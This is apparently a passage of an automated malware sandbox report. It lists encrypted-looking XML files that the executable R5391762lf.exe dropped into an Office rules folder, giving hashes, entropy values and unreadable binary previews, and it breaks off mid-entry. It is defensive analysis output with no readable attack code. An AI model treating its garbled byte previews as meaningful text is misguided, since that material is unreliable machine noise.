Preview:	<?xml..}.FR.3..O...G.>..0.FZ:....Ce.\.-...............G.......2"..... ...,.k/..?f.6O.#..v]a..:0X%vN..x...2..:....s.+.9..<...8..i..$>4`.`I.NRW...L..!r......t..b.@..s.%(....]{\4h.-=.]+..2.%-.X@;F...Ob...>s.....L... ..t.m.s..i~h.'.....c.E.0.[B/.U}..r(...).>.....iP..n...QSh....N.-$.C-.G...x...J.qa.N..lY.....4..C..d........ .....J..Fb...S.{>_.t...o....B#..q....t&..)X....S.,%c..M...._-.G...:../...m.... .9.....>.Da...A..f......^......b.$....A.p..........%9.....q&~..v.u..G.o.#N.....T?t1.@........Z.gU..#..k.(.J..^.,.;.4..o....3T..y..c.gSp..Q.gd.d"..bV.#@.\|2]5\|.>.2BI. s(s.xz..C......q.u.x^uU..ZT.e..a......L..5...G."2....ck.........8G...I$Y.B..5..rZCtbP..M.:P.....\|...T..uY....[...x.h.o.r.....Z......#....\. ...]...!/..........._.......\|wR......m.....I.'....>Y.....V~....K.eO.*...(...K...%,.........c..$.I..8.H..<...B)vd...Z.......F.0...{#..o.......K{.Ndoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.64692175336185
Encrypted:	false
SSDEEP:	12:dLV6+zPu5lD3PfER+kx8edzGSMLMiAqQMUmiBysduRznHX6XqOTuWcii9a:n6+zSjfE0kVHMKqQVmuu136Xq8uWbD
MD5:	4883926DEC61600F44AEAA5B09B48332
SHA1:	0D025A49266A03FB5087607437A2B11A86DFC81B
SHA-256:	145A150F09D83948A00EB477C3B7D35C09EEE763E14D72BE5AFB1A1919A2AEFE
SHA-512:	54277ED116783D08F7D2C2777B43D5343A97BF94A00BC148BC612304FF2F2EBC12A0BEB27E4F77AB43BC431B0AFFB26EA1E92E0719E02279E5DE3FEB6D499407
Malicious:	false
Preview:	<?xmlH...... ...A...O..y.2c.~...]S...jj...b.?....4%..eyD.m.2Ob^H.~...s.2.y..d..i..".$R.9=..$......w.!.......&P.j.t%I!x.@.-t..sG....XZ].m.~}.934..7..r.I..'L...O.C.......B...9.:...Y..@.b.S.........[..u.4lZ.4W..$L.n....p....ck..`r....o.).6.&:...W.i.UE{]N..^.....K"'5.V".A..X.......nrn=.8....$].j..V....nwb5..%...........B?....!...r..X.x4.9.^...RL.m.$\[...Vl,)P.$p.=.W`_n.Z.....5...]..._I..4.G.[..r./.0....'...9..h`...1...)d.V>.9vmwg.Zv.wz..7.>!...%.^_..BV3H..ti...E..j.]........ql.!n!.....lcXP...\.YAg0...J..o..\..(..$..!..8...."..Ft..=r.:.OB.-ty.......Z'?'6...3D........\.?....0.=...g.d.-...c.l.C.,..e.....u.h..3..mz....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.828880707527722
Encrypted:	false
SSDEEP:	24:Jf/Bk5ywzE0GONs7spXDXIRwOpe4RZm6kCJ0OFIKXq8uWbD:JfJUpw9OW7shWNPRZm6CMhXFuED
MD5:	FA58232B3FE03BF190BF719D8012B346
SHA1:	94FEC8145698FAC87515A2C1E89CD76DD99F5FE7
SHA-256:	041495779A2AA55E7133D933A9806184727A3D42973790081F441DE290732BC3
SHA-512:	0FBFD20B7B41A19DF691A54691C0AFC28E0D615EA92AF8DB09E994285FC4A53E0601DE18D8384B44B64F66909FD0F173F9D0EAD6B18FE23C939AC74D93B51427
Malicious:	false
Preview:	<?xml..=.'.../..U......DH..uFt..?..5c"....`jKB..?9...2....~5.f.9..Wv[.R......<./.5..k.......n..\.'.Rs..W.:.If..]h.kR.:...#.:.]..8.`<.5F....R.^.....CD.{.......E..=bt..........a....UWQr?..4..&..qy....9.T..V..W....E..g.....$d..].0...WS$...M.I..O,'..:.Z.^.+..N...l....RQ+....F%te;....+f.XI..h...ja..q.PUp.;.:....$..6.cP...,[..oRP..w,.."..?.............,..~....<'.....}...\|.Y.vd........G..j.. .V.].1...#..'.2.. ...}O.R..5.Q.=.z.ixZ.p.I.D.UN&..t.{..O..U.....C...mg..oD.Gn...pXk.+...,.S3.$..>..#..}...>.>T..H....)....^."....Ud.y7=N.ew........I..#W&.t.@.7y..r.N.ks.k..~.!.0...)..]..s#u....(..@l.......;.)?.s!.isT.g..d@...]...x..8,O.Y,2.....\..WaA....X..........].fU..-V..5K.MZ......9>....S.....V.q..............C.T.O.........}.9.\|b<.....GX.t^IF...2.".g.q ........#G..0......8.vcX....p.+!u.....\|I..J..@:...D.T..[6z.9S$...."....4}......L..-.....h....O.q.%....Z...3m+.....x.. \..;.$..V......?K.)1~.U......./.81doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.823678220782585
Encrypted:	false
SSDEEP:	24:cTpmOSGzSyEy3i5fvi2C/NUKI3Mx3bOIWXv47puXq8uWbD:CpmOSPUypve/Gb3M8IKyYXFuED
MD5:	F5843969E4FFE0D92259A68186AD63EF
SHA1:	52AE9B59F4F7476251026E7941C50FAE7A8919A0
SHA-256:	0EF8E3413114A3A4A7C0E5D1C6FD95946F6E7EE0CA7D20E0C336FF4D6823BBFD
SHA-512:	8BD8D61C0819B20B55D91107EA970E0609C0A97FD3E679A5D48BC883A61360A105B2AA2B3D789B0211E62D70E791ABC14F0796F7BFB782A69DD0DF6DE633F0A1
Malicious:	false
Preview:	<?xml.a._p..F.i..o.Y..'L,K.e!.[..[.......-t..#.JM.nE..>b.}...E.H.....\|..k$..=Y5um...)c..u.1O...Z.]J..N.}{...i..0_q.?./..^...m.cX.F.q....5....~T.Ro..t$.C...h.bb..3?.w..v.o8....._.+.....X.w.$.+."a6Z.e...-R2.!Y<..t1.0..^.V^.,...(..#n.E..\.....u_tf....].%..X....I%..-.........jgw./....l.^.A<...AWg..]+...>.4G.s.L...w..N...6_a.@..N.S)Z....fBj.....7..h..Lm........._\.\|+0......dnGS..^..tF.#.&]VG..%.;j.&..).^d.q.xK...8zz..G........P_7...q.R......9....>_...k}.........8.).}T..xD...-I......FH.%.....WT.h..J.8e..n..v..`.....n....SY..x.z."........ZA...C..@.&1...\j.&..R.2.....R.~.?.5.....3.w.}x+R.....n....Wj.G_...Uf.5....!.F....."\|........w.B.A..Cj.}....i6...K...L....~a>Z^._G.Z.&.\.[a..........aq..*. ......jp..3....G3z.....]j.....=N..M.W.zm.V'U..{w..e..\Mb..i.h...WF..s.\XD.....+..]..c.....a..a..."r...X...M..K.`(....o..[.f.6VK{.?e.. ..."....n.R.....\|..R..S....!z.V....@.z.I....=.6.~.P......z.'.b%!GC.........1I.R`.h......p.b..${9.t.....,c.5`..........t..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.876566992213128
Encrypted:	false
SSDEEP:	24:3Msf2C9QBEkgvrX6NmehmsAqX9KDtPlszQJM4S5eopDN1H/gFUjKXq8uWbD:3tf2DEHvo2sdEdszCMp5em3fgFUuXFuQ
MD5:	D711BC90B2CAFA47B3B3ECC7C24183BE
SHA1:	47299E564969CB3B8B701FEB20FA860FADF43224
SHA-256:	389C2D0FD218F4BA2C1347E2A62650DDFF107DC796C8B2227ED342866F9F5EAA
SHA-512:	FCC9A6A7250171B85A28882464156DDBBEAC7493F49BC7F69C2A93DD7197362499B5781B006CD3D110BF3E4A3A625CC258FCB246A5A4AE22E25CFF1AEF02AE50
Malicious:	false
Preview:	<?xml.V.g..Y!..J...%..(JO.d0.v..y.r...B$3...K<...gm.?....a....v.(.....;.;....RX...!.W..8..8.?uT..f../..o.P..GO5MbO.`...L.z.w..B.'_9v.M... .j.3H.I....iF...UP." ....g..V...4.."..GE.8..<.)2......%_..w.K?..&....l.M~V.../.Ld....va..z.........F,.f..g...hI......+........y.g.a..~.}..k....q..s]axj.ch...7%.3s4.S.7...zV.Jc..<&.r...$.K.....}..5.YR.4...x.@../...O.'..\.S..%...&w.<V:.."1.!.n.>....B...T.1.[9c....4o./.OQ..yK.?t.*.....KC1_..p`&.i....5.A#...LE..e.\j...[...l.h.x:C.. .UpB.9\WB...mh....9......l..42.C.'...<..b.....7..........AY}~....V>.=..C7...k.KH...`.I.M$..i.(.~.J......j..9R\|..y~.Z.<Y...H.C6.][.8.. ..8` ..j....gu..wt..mN..ca.. \ti........5e..D v.%\|.].i..8\|...F.R.....:Y.).........:.O...$`...D.!p.s.`..'....G.R.y.R..../.?0Uc.'.....r.^...-,G..?.e.2]~......D.. ..X.,.TGO.6.Q.T..}[..4.>``.....&.i...m.Z<.M...W....+..)c./..z..?d.O.DJ..D'..ehzA..9.4.5.;c.y..........B........9.......A......W-$.\...0N.8..<....l....8....J.`......k...;..p6i.~'L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.786420080731107
Encrypted:	false
SSDEEP:	24:mSuToNk0C5HrjunqTaIBLpP5FXNRUR3bI9Xq8uWbD:mSqorCtr2qTx5/NRUR3M9XFuED
MD5:	08CFB55827B8484B43DB6A951C717762
SHA1:	67A4F1A3EEB6D3EDC472D83E9EA3A3ADCC685EBF
SHA-256:	CDEAE0A90DEF815AB9591DCDEDC417D9488390CAEC33EC4051A76AA3200B94DC
SHA-512:	E82AA5F75680B6E176ACFCD99C9D1F134D40AF1C24FE920F7E48C33798CCF123583EE04F900E7566A8C655CD9DEF6DFE6332AC604F6F1CFA5DE58DFFE7187961
Malicious:	false
Preview:	<?xml..d...]WBR...Z.uQ+.....lF....J.{....-......9.5.._....A$>\.q+...xs.j.Z.,...M.duES...e.. ".u......2...<....&.i..X.. ).H.v.g)...[...3.#sF..A.Xp.<.G......}.........Q..p .........w$..-..P.f..}K.5^....P~1.b.7.\...p.n....G..\|.K.`f..r.M....d.&..5.+:.x.i^. .........sk.,....N..z...<p.S\...2....r....`.....S.i...t\|(..N....R..O.......h..J...1..=.t1].#j.T.48A..by.1kw..8..@..<.e.aQ...i.K.9..\......y......8..}.d....X.d....i....O/3+..B.E.....,..j..'.Im.)...Gj#.n./[.L..7..<.F............3R...k\|...JP.I4'..J2..6......$...R..h.$.@x..4y.z...v.Jz.a.P...q..R....).v.......E/.c..,....e...u..R.&N.....s..x^...\|`..Jl0......s...........R..&........7......N.y..#ir...i}..sr.....I.2.l'..i..-Q.......X.........c..,....\..?.XM;..B.....Wa=..V...>.lG.........&.]E.4&.7..<..........$....@..\|...N.....1]I....i.}>v1_.......2....vi_0..0...q....h2'.M..a...=.E..aa............@...Y..8w...Q.xG.UE..OL.}....h...2Y.m...t..6.:..D..,.'..o...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.766894867799874
Encrypted:	false
SSDEEP:	24:pbMr9weKxWEOpsx98ugm+GOCObSmonUniG2KXq8uWbD:pIry0COCO2mvXFuED
MD5:	622720D3FC89CAFE299F762F791DE951
SHA1:	43F9032B8308F75672B1166DA95E83B96378A092
SHA-256:	4B769BE794B503D70BF3AF2A5EC9A2A5116337E9BB56BBA2063323063CAA1686
SHA-512:	3B33B3FD2E850CC5AE4929F611BAFB8B7621D9B443CC7055B7C428DC9FFE05D590BC76800F52CC369BBA770A8A7B69930B4D3C429C04D3AB3F7874914FBADF52
Malicious:	false
Preview:	<?xml.".k8.@%.$p../<...Z.Yh..d...m.......!&-!<<^.".;QB........E.....@..............!.(...G.0.z.$..&.d..x.{d'....'....,c..8.......Bo.v.&...q.k^..eqs.Fg"..>...m.V-O.{..\|.u...o.....KO..~...\..O...6[~:...g....6-....k....Xq..2....z#..U.v..,5!......{....J!+...;.....-.....I.../$}....Y........t).. 3\|P..K....qX....5.../jX..}Ru>.+kLL.~=...}K....\........t.....u....(1J4.K...&...........3s.....t..t.k<bp...HZ%.H..X..$eY..e.8.&.6 .X...]..@.D1....C..r...._..x....U.........LQjh=}...eNm]...P..B../y."...`..v...tD...........e..jW....b\.F\.\|.!....Y#.6......_.o..\.5g:..Y.H......0{......}I...dVR.y.q...)..pk.4.<:.....b.[\|..\|......9V..C@J.L.z.q.%.r.s.1.?...~....S..c...&.Ur...8.d....g7......Y.Ac'.u...<{....j.Q:8....L..n.. ()0Oq=.':.1......M[....@2.f...HJ..<....a.k...eiPl..6..{9........y...lVC.}..>.&&....J..^.....b&5....,.-..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.715695896948211
Encrypted:	false
SSDEEP:	12:gllIcex+l6velbguTlS2BiJdS6tnTmOAhuysBif29aw+LKYCK8K9WZGh7TKXqOTX:kyUgvmTlSUZ6tTmOAhOii7+LKXK9WIe5
MD5:	DB245F91E4917DCFB2E69A5DE6AEF602
SHA1:	7229271D62D7D3E5C70D33821BEAE3F4DC235573
SHA-256:	8C9EA3093D46D48B54892A22D070BB4676934DD0CC99C58DDF078F07FED1CBCD
SHA-512:	6CA94F221347774CC8A4CB2068EC3638F194DC660CB7AD323FF711A49D1FAB5F59E516CCA522EF962E9B13131DFDCBA72104600FE30B0CEDEF859B79E6E3A0C1
Malicious:	false
Preview:	<?xml..Z..~..&.HPgt........U..^..e87..J..;R...7.p..qB.].....]......K..3Z.H."V@r....]..A. ...Et..R.a=U.2......1.(.Y.h...3...uX.\|6,.u{.I}.M#..7Z.....a..,T.........@.9n:...5.:y$..)@)2..w\|S..)..xt......%....?(.=....1D.5..i...&W...3auL..XA"1s..W....k_...8CC..I#....@j.......\.Z.g.K...oK...Y':..r..#.Y.m.?.xD.._..{hl^Dz.u$.\|...n+...r..w......p..e..h.B-.u=.....kv...8..`.~...y.T.....W...V...X...]....-\.,.=I....c...g...T....4....t.?\|{..LL.G.....\|..z.J7.)f\... zO.N..-q.>X..k........p.?...tUjg..%.....1.....</.Q...R..&..f..F..TU......u......5..\...4..3.b..:.>E.!.{...E.b....#....c.F..ut...fU...U..S..g..8.8...]w..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170041v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	7.8154907721788955
Encrypted:	false
SSDEEP:	24:ysJcBtnMpFMI6PCHTYWNBNJpijjrEIjqSFeP3OuqbeXC2uTwXq8uWbD:vcBF2aT8TYoVpO5jZmAbvFwXFuED
MD5:	8AD581E88F6352333EC373141A782C01
SHA1:	0DC705D8BB09BE8FB4C055141AF32D27772756B6
SHA-256:	4955A5FD55409592ED2944239951C733B1E8BA76AC4FBBDD599D4D32BB3C5E30
SHA-512:	9FFB2F0F9BCF74EE72ED9AA435AEC0DB02CE95EE6C0DA92C9BE9295314E3B8CA1E33F1982D73D5060EA6EF0C44ECAB05CB8EB15DD7D7786C04F6975175CD6C75
Malicious:	false
Preview:	<?xml+...Y...u ....a.#..o7.R\..(........d....z.L..O\.....2..(X...-./..4:.$....e\.._.=..BP.7...%.M.7...m.<.:.U.....:..U....D.,s{.?.......+i.6z-...ly....[....=.../=.4......O..R..h_6.$A.SN...X.....H3.4.{<.$re.....E.cNP.)`.0O..3......z.Z..`.T~.... YE....sV....i......AD..N.^..ij#......^T.......+.tQD%....6yR....1(.C.G."..y.....g.?~.a.}!"..(D..}.h.....l&e.'.T../(..~y$..T..Oo....>..qz...%of.od"q...x.v...T:".0W...R.C!A....;..8..5.#z".A.l.Jj9.....I.H.F.#........;r.c..7.rs.5...0~..d...vu`.o..4.9.0..N.........i.v.....NL.)o..M..2..Gq.>n.l#L.....I.....r....\|...-......S(m.......V..n.bq.Im.!x..!.y..8U..5m..N_c...!3...;. ....!.U.o..-.F.a!.GxB..%a-D.^....p....W@...q.l.#.XB1.P.9..a..4....i.w..8dh.ym..s.3...\.D..D:..q.U.....ZB'_.N...</N.._..'TO....t0$"=.S.....v.b.I.aK..iRI.Z.e.<..W.v..n.y...(}.e..V_.h.W.......!......@..k.....m..&M....>. fYG._...7~.'......r....[..n}:....l..El.=...o..=.....@....V.0....Q.H...A.vr(.?....u.$.v..wR..F.:W.(.De#0P34.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170042v4.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.823145880640141
Encrypted:	false
SSDEEP:	24:sIJxnIDCesDmfoRnj0HoBq92acftBNrMGdsgOMXq8uWbD:jMAmEj092JftBNYtMXFuED
MD5:	F1A9EC61EBD2D797111CC03893B4DE22
SHA1:	7085405B926458B5621470A6B0D91797F888122C
SHA-256:	17F60DFA39461C6BF530E80649C6B47BE48392371D1FCC55AD8503BF8CA2D990
SHA-512:	40A7776FE991D29290B126031F709A2827D17B784ADE7B702DD9AEE8C1F29CD12B55355F3681D8381C586EA4AD45A9B2613C35FCD77734C92B17B0E3476FC2E9
Malicious:	false
Preview:	<?xml....\|..G:&.C.)>`y`......y_j.`...$.d..t&...b...._X.o{l.VN.UM..N..$.......]...B.o.C...)U....X-..&v.%.....=..IY........bGP:n..+.../.U....H...^.<u.....I[.=jO....=4.-x.,.E..I...L..e:....-.I+.J[...\6.v..hgD.y..7.t.X...].;f..%..I`.M.......]....d4.7}SoY3.H....S...Tr...[.............+Y............%c..H>.m......."a..5.Z.'.@..@.&..+.K.T.m;<k... ..;..KO.w..'.B<4.q...E .o`V......O..Yr.e./.s.....zB.H...4...H...N..S..N.......@U..x.{....y&..B....,..F..btMo.........<.-.....g../...q.~.,......#J..1....b..RtZr.....zN.t.I.l.....%..>........r..n...b...;.!..x..m...Z.,FxU....H!....;..j...".ESY]v..n..J\..N.i....f..."5......)c..\..bPc..<..3]....S.N.U.Y..S..R.....#........q..!V.8..nQ.0....W...1...^....?V...$.oZ.........&.E..T....4....<e..i.d.....u.x.O{/.....E....i. \S..t........42.kO.u........q........<.!..1Q?w.Rn...#.e.".]...........q....$..r.ai...4..;.Q....:.Y.I3...S..h....j.OpG..SEuZ...F..ep..:........E(:.R..'.w+(Zfdoc0QOgEjKBd9id4JIag7gcdKbtNS

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170043v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.68712491704154
Encrypted:	false
SSDEEP:	12:Hx9lVghuGO09QG2QJGnkLOVx3vSw6Op5333PLZHGjg2SCX8fr/JuXqOTuWcii9a:hVgC09QxAGnkLOVxrpr+50jQXq8uWbD
MD5:	E53F8B95FB393B68BDED7A4A34666160
SHA1:	DAA0DFECDE868B3B5DCD09F5FE41144F9EB6ECF8
SHA-256:	AE1DA4BAE9960637095B0A758BF9E316C5E451E097918ECB51C76CE87D7BEDDB
SHA-512:	602CF20F280311BC6F538DE63D6724220A8270AD5B870DFC3EE5261CCBB4143289EA4B4A15BD82ED8C51608F96E5D54DC35A8DC349FDA2F359551384D9F48669
Malicious:	false
Preview:	<?xml.$f......-..Y;....&.......j.}.4X...%...k{t-..Ek.9..6...M..a ...^-..-.S........A%....e._E.../...ds..].....dq...N..j.8... ...H..V~#..v.....<MGP..4..1...,.....X9.by..h..>....>....0...._.~.....w........4..i.....z.G..Y;.o>%zW....z&<..@......n.....q;?..t.......[...r.....`k.T.y...@.6w...N.e.UW`[&d..&.A.1.gU./3.q.....t.1..]e.[..,... oa.....c...n..:.Z.....c.V..F.......n.......wC.GQ.%..XJq..6l.,n...G...sc.aAY9d...{[rze..G.........a.....F}.T/.>..dR.y..e..0.....qc.FN.2.....<y~qma...t.u.)..O}.P.0.Yzh..K...X.+6U.....*...;@..Zz...B....&Ka....T.G8\...0..h....z....._....L'.....ux[n.B...k....-.S.(U.f.".J+....P.....nH.r.c..N...... '......Y8..U....L..%0e%...~.-...$...^8.,..U+q....G........^.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170044v4.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	853
Entropy (8bit):	7.7136901119016015
Encrypted:	false
SSDEEP:	24:uoGJZzbi8SAnfLBdFprVa65LMsO0iQbNMXq8uWbD:uoGJpi8SABdFpBf5LMqvbWXFuED
MD5:	1EAB7432F8EF47C53A06A83526D0833A
SHA1:	28A7F72953911FAB3D2939E1E74D532CF8FD8FDC
SHA-256:	C2A95BD22508A17A1CCAE5A07180849340A10A01C2FD4827E0BA8E1FBAD863A6
SHA-512:	68353CD326F49D055079AA427395ED9ACEF52FFFBCFC54CB5846AA569EB9AD58E7B1D6A8CEDD10E6DE2E83C490308090FA6FEE680F0ED37D96735216F0A3F52B
Malicious:	false
Preview:	<?xml.S#k.6=xE......$......y..z?.........;...)..C.kspNv.UK.@JTy.....5...Z_.........^=......? .k........ ..6.Wb.U............N..P..}g.T....e....=...t..[rCMT...K.5XP5M.C"0....8.e.o}.d..Y..{z....Y..N.=`.\I.}...o....@7}.\|?..x..[..P6.c ......@...R8}U..<...E.s>.3...5.).. ../.MK..I5..q.\|v.Ex...`.e".4..U,......vTs.\|2.z$[.(M....J.\|........a. e....1......._O.7.\.hV8..ER....Y:..Wa....n...l+Mb......~1+.q..}\|...I.N....t..2dj`.[Q8..Me.A..]-..C.HFXo..{...)....X.....T...B>N8.V.-1.....O.%s^....s....}...U..L\|.vD.8.,.S...{R.......&."..q...K..6ft...(.&.G..X(`\|./.=G`.C.C.<.L..7.._C.t...3..Em.6....1.=...tFb..*r..3..Om..y..D.qc.g.y......A.H....Gn..cc}b.....3...Y..E....A../...q3.(.Qe_.!.:..VnO.,.....Ya)?[YPM..;kVd.EPP]e......[>.C...!B....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170048v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	7.770862084865047
Encrypted:	false
SSDEEP:	24:BF8nzC0okU9xzcZw70YwW17l33LXq8uWbD:BF8nzC/D5S80YwWvbXFuED
MD5:	FFA5E83C054435BA68A61E0C022C34B1
SHA1:	6AB492BE0AE3A34526E8AB0B0AFB365BD7CD7E91
SHA-256:	C7A42BE6DA8250CD5B29C9FF2DFE2FE4DC768D99EBC1FF2FA3D58D13D8D5BFA3
SHA-512:	AEA12B384CE6D8256CC6585D30BEBFC75AC83E968A70C7E93161B8AC27AE6D493B55202BCB00BB8CB5735E641CC74926886F83AB504741D2025E2E3EC67EB065
Malicious:	false
Preview:	<?xml .YDqU..a].vL.=l..r......p..w.t&Kbk.......>.$.o@dw_8......s.B]F ...zS.i...S?.N\.K...~..EW..(..O#.....I.$..^#..('m.f.T...X.<.Ub.Q....O3....../....\|P..k.}...p}.._r..<........$6....)...<....4,.xYr.@.IJ....~v.*a......Jl....'...6.........../I.5......4.a...W.wW:...A..:...^...;..'.p...k......;Mv..=Zp..4\%J..@..,....#.v..}.h...+$9......4.... .Lko.6^..5.$x..}P w.......Yc.l....R....S.. ...].B[.....u.......\|.v.eW..M-%.).~NZ......rTF.......X[P/wdg..(.+.t...+...p.Vr....x....`.f..@.. ...:b8.....3.CTx.. %.0}mz..3.f7-.u.o.4.V.[.\..\|........%.......;....%..N.4....'..^......F._.[k...;...g.p.p...7s#..t.........c6;.a......py.)..&.T8\...{.`-.E2/.04..'...8.b...,._l.hK.2t.j.....e....V.\|!;.6....o.'...>......?.q.mJ.S..r.._.L3g.(...Sq.]..B.d5......o.)"d..Mw..O....Mp<jU?.y.6.bF\..;..?.\h....`.....>..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170050v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3310
Entropy (8bit):	7.951666520514653
Encrypted:	false
SSDEEP:	96:ASMHXFYyKLwiCakDViOtDOsD4NWaCYHNBbFuQ:AXYJFkDVnVn95Q
MD5:	D64379E8D9C8F31D11232CC5867C1FCA
SHA1:	650684C82DAD30DD1FA7D3C59D77A953039925F2
SHA-256:	DC58E3E2C936ABC37AFD1A4EEE9CAB7E9EB7A591A0C714E70100D04D86E8E219
SHA-512:	68F0304BFCE8E80D7688B5BA14C9C30F96C51E7D8D12C89012BE4387CDD6858E4D2E331BB3425D9A64A58153844E1A5F20B9469C0DAEDA21D415ADD8963EEA20
Malicious:	false
Preview:	<?xml.2:i.iE.......R.....B....W).]..].\|.lh.....A....vi....-.+..*H.....V...&._MC.m]...-.H...._....X....j..!/"..h..3.Y.....C..q..%&...1....!.D.j..=./F......i...X.0..\.P.....=...uh.Q....E.....9..iK..p....w..m.c0.y.......^~.t.a....8q..K..&.<./.@.<.0z...U...pz..AWn'....m\|'B...G.X....].Vd.&.8>.......g.Obl.<&!U.....U.z...GX.....t.....2..MI..h.s.P......\|...Wt...........n.M...3.-.1.......gh......=.O40......f...8...........cE!....GJ(..A.@7v...x..&...+.Ym.....jy(fa\R.u.n.G......].....<y.....1..4.F.`.7W...6..G3g>O6.d.."~.k...\..CXB.1S:.]M!.g./...y.".'-...F.Q.../.A.6..t..R.x&BC4:.--....w.F......c.+.;o.C...Q.......'...3.lT...X.>.u....Nq.r.yI.S../.c..5....r.........(.A.!a._.T..0.hX...r...Fm$<..:(....H.U."..5......G..[.j.c.....(..........2e....^....U..s.Ja.O...({h..(z...(.9....=.H.u..{..R\xKl\..~../........\lK1#.^..J.fe...rbX...:wI{..n....F..5.<bV.2k..v$..........j..#0L..."..T...k....?...=..Od5r.6.0.r.\|..q.`.J......s..:.. .Z.J..\.t[.[.(:.A...&....`.[<.n&$.n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170051v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	910
Entropy (8bit):	7.72670276042978
Encrypted:	false
SSDEEP:	24:jdQVBfdRpTmx9nTzhK4QnVLMqJlHbtNqRHXq8uWbD:jyZdRpm9TzcrVLM+HbtkRHXFuED
MD5:	EEABB5EB37F0F68A5F3A6B8405124650
SHA1:	D4C932C5B72F3B7F64749A3F7E2205E22E6F8ED5
SHA-256:	3CC6C6AA75588B8A409E83C16ED611E57B0FC09CCE912E1127CB3FB99B03DC82
SHA-512:	AFC86B197CF5AE85CBB21118ABC02425176A2082F401220011097BAC204CEA4BEFD10A96A5283487E8AD83F052AC82049EE989845D2EE008026FED020D31B3A2
Malicious:	false
Preview:	<?xml!}....!....z.=y..(..;.-B...zG8.o.............n.}..-..y.....`;P.m\|..#;.;.e2...i..#.Q..g..k.\|8.c...}......'yV.i.....\&...b"..X&.[zV.6~.E...i.J.{...J.../..)!d.4.R.....we.Z..[..[...Ig...N.B.M.HjK..#E.,....;Sf}...{6.P.....n..J...L%..Ql.....a/...;_....b................(O.=....Lf.b....0Ig...2.F.Q...o.j]...GJ.sR.\J.Q.].d]......S..p........:..8......TH....,.iB)..;.W.f.......M............j...3.?..mTw.v...&1AC&...A_.w0..j........(..(@.>.......3_gk..j0.o.........&..P...#E.[..Q...`W;.T.LE..,......V.........D.o5r?.r3.S'....,as........"FS...?C.I.dv...,e.?..-~{..\|2.9.....b.F.M.B....<s.o...x..t)x.....@0To.7H....AP.ICu.#......bL@6`q.#.U.C{.......is.0Jr.5fS0-.N....lN.3.{em!%..7t[..A.2.)....PM.....'.R..L"F.>..F....D$.`[p"..N.%......6.E..$..3.bZ...a...o..Jo..2Uj..a....I2.}.....u....i.u....4)..E.....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170052v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
